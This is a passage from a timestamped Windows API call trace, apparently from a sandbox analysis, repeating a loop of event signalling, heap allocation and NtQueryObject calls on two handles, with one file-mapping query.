(hEvent=0xe8) returned 1 [0149.376] SetEvent (hEvent=0xec) returned 1 [0149.376] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.376] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.376] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.376] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.376] ResetEvent (hEvent=0xe8) returned 1 [0149.376] SetEvent (hEvent=0xec) returned 1 [0149.377] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.377] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.377] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.377] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.377] ResetEvent (hEvent=0xe8) returned 1 [0149.377] SetEvent (hEvent=0xec) returned 1 [0149.377] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.377] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.377] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.377] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.377] MapViewOfFile (hFileMappingObject=0x1a8, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0149.377] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0149.377] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0149.377] ResetEvent (hEvent=0xe8) returned 1 [0149.377] SetEvent (hEvent=0xec) returned 1 [0149.377] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.377] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.377] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.377] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.377] ResetEvent (hEvent=0xe8) returned 1 [0149.377] SetEvent (hEvent=0xec) returned 1 [0149.378] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.378] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.378] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.378] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.378] ResetEvent (hEvent=0xe8) returned 1 [0149.378] SetEvent (hEvent=0xec) returned 1 [0149.378] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.378] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.378] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.378] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.378] ResetEvent (hEvent=0xe8) returned 1 [0149.378] SetEvent (hEvent=0xec) returned 1 [0149.378] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.378] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.378] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.378] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.378] ResetEvent (hEvent=0xe8) returned 1 [0149.378] SetEvent (hEvent=0xec) returned 1 [0149.379] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.379] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.379] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.379] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.379] ResetEvent (hEvent=0xe8) returned 1 [0149.379] SetEvent (hEvent=0xec) returned 1 [0149.379] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.379] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.379] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.379] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.379] ResetEvent (hEvent=0xe8) returned 1 [0149.379] SetEvent (hEvent=0xec) returned 1 [0149.379] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.379] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.379] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.379] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.379] ResetEvent (hEvent=0xe8) returned 1 [0149.379] SetEvent (hEvent=0xec) returned 1 [0149.380] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.380] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.380] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.380] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.380] ResetEvent (hEvent=0xe8) returned 1 [0149.380] SetEvent (hEvent=0xec) returned 1 [0149.380] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.380] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.380] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.380] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.380] ResetEvent (hEvent=0xe8) returned 1 [0149.380] SetEvent (hEvent=0xec) returned 1 [0149.380] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.380] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.380] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.380] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.380] ResetEvent (hEvent=0xe8) returned 1 [0149.380] SetEvent (hEvent=0xec) returned 1 [0149.380] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.381] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.381] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.381] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.381] ResetEvent (hEvent=0xe8) returned 1 [0149.381] SetEvent (hEvent=0xec) returned 1 [0149.381] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.381] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.381] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.381] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.381] ResetEvent (hEvent=0xe8) returned 1 [0149.381] SetEvent (hEvent=0xec) returned 1 [0149.381] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.381] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.381] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.381] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.381] ResetEvent (hEvent=0xe8) returned 1 [0149.381] SetEvent (hEvent=0xec) returned 1 [0149.381] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.381] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.382] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.382] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.382] ResetEvent (hEvent=0xe8) returned 1 [0149.382] SetEvent (hEvent=0xec) returned 1 [0149.382] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.382] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.382] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.382] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.382] ResetEvent (hEvent=0xe8) returned 1 [0149.382] SetEvent (hEvent=0xec) returned 1 [0149.382] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.382] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.382] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.382] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.382] ResetEvent (hEvent=0xe8) returned 1 [0149.382] SetEvent (hEvent=0xec) returned 1 [0149.382] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.382] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.382] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.383] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.383] ResetEvent (hEvent=0xe8) returned 1 [0149.383] SetEvent (hEvent=0xec) returned 1 [0149.383] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.383] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.383] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.383] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.383] ResetEvent (hEvent=0xe8) returned 1 [0149.383] SetEvent (hEvent=0xec) returned 1 [0149.383] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.383] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.383] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.383] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.383] ResetEvent (hEvent=0xe8) returned 1 [0149.383] SetEvent (hEvent=0xec) returned 1 [0149.383] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.383] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.383] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.383] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.383] ResetEvent (hEvent=0xe8) returned 1 [0149.384] SetEvent (hEvent=0xec) returned 1 [0149.384] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.384] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.384] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.384] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.384] ResetEvent (hEvent=0xe8) returned 1 [0149.384] SetEvent (hEvent=0xec) returned 1 [0149.384] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.384] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.384] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.384] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.384] ResetEvent (hEvent=0xe8) returned 1 [0149.384] SetEvent (hEvent=0xec) returned 1 [0149.384] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.384] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.384] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.384] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.384] ResetEvent (hEvent=0xe8) returned 1 [0149.384] SetEvent (hEvent=0xec) returned 1 [0149.385] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.385] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.385] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.385] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.385] ResetEvent (hEvent=0xe8) returned 1 [0149.385] SetEvent (hEvent=0xec) returned 1 [0149.385] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.385] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.385] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.385] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.385] ResetEvent (hEvent=0xe8) returned 1 [0149.385] SetEvent (hEvent=0xec) returned 1 [0149.385] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.385] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.385] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.385] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.385] ResetEvent (hEvent=0xe8) returned 1 [0149.386] SetEvent (hEvent=0xec) returned 1 [0149.386] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.386] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.386] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.386] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.386] ResetEvent (hEvent=0xe8) returned 1 [0149.386] SetEvent (hEvent=0xec) returned 1 [0149.386] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.386] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.386] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.386] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.386] ResetEvent (hEvent=0xe8) returned 1 [0149.386] SetEvent (hEvent=0xec) returned 1 [0149.386] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.386] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.386] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.386] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.386] ResetEvent (hEvent=0xe8) returned 1 [0149.386] SetEvent (hEvent=0xec) returned 1 [0149.387] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.387] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.387] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.387] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.387] ResetEvent (hEvent=0xe8) returned 1 [0149.387] SetEvent (hEvent=0xec) returned 1 [0149.387] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.387] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.387] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.387] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.387] ResetEvent (hEvent=0xe8) returned 1 [0149.387] SetEvent (hEvent=0xec) returned 1 [0149.387] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.387] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.387] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.387] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.387] ResetEvent (hEvent=0xe8) returned 1 [0149.388] SetEvent (hEvent=0xec) returned 1 [0149.388] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.388] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.388] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.388] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.388] ResetEvent (hEvent=0xe8) returned 1 [0149.388] SetEvent (hEvent=0xec) returned 1 [0149.388] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.388] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.388] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.388] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.388] ResetEvent (hEvent=0xe8) returned 1 [0149.388] SetEvent (hEvent=0xec) returned 1 [0149.388] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.388] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.388] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.388] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.388] ResetEvent (hEvent=0xe8) returned 1 [0149.388] SetEvent (hEvent=0xec) returned 1 [0149.389] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.389] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.389] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.389] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.389] ResetEvent (hEvent=0xe8) returned 1 [0149.389] SetEvent (hEvent=0xec) returned 1 [0149.389] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.389] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.389] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.389] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.389] ResetEvent (hEvent=0xe8) returned 1 [0149.389] SetEvent (hEvent=0xec) returned 1 [0149.389] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.389] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.389] RtlFreeHeap 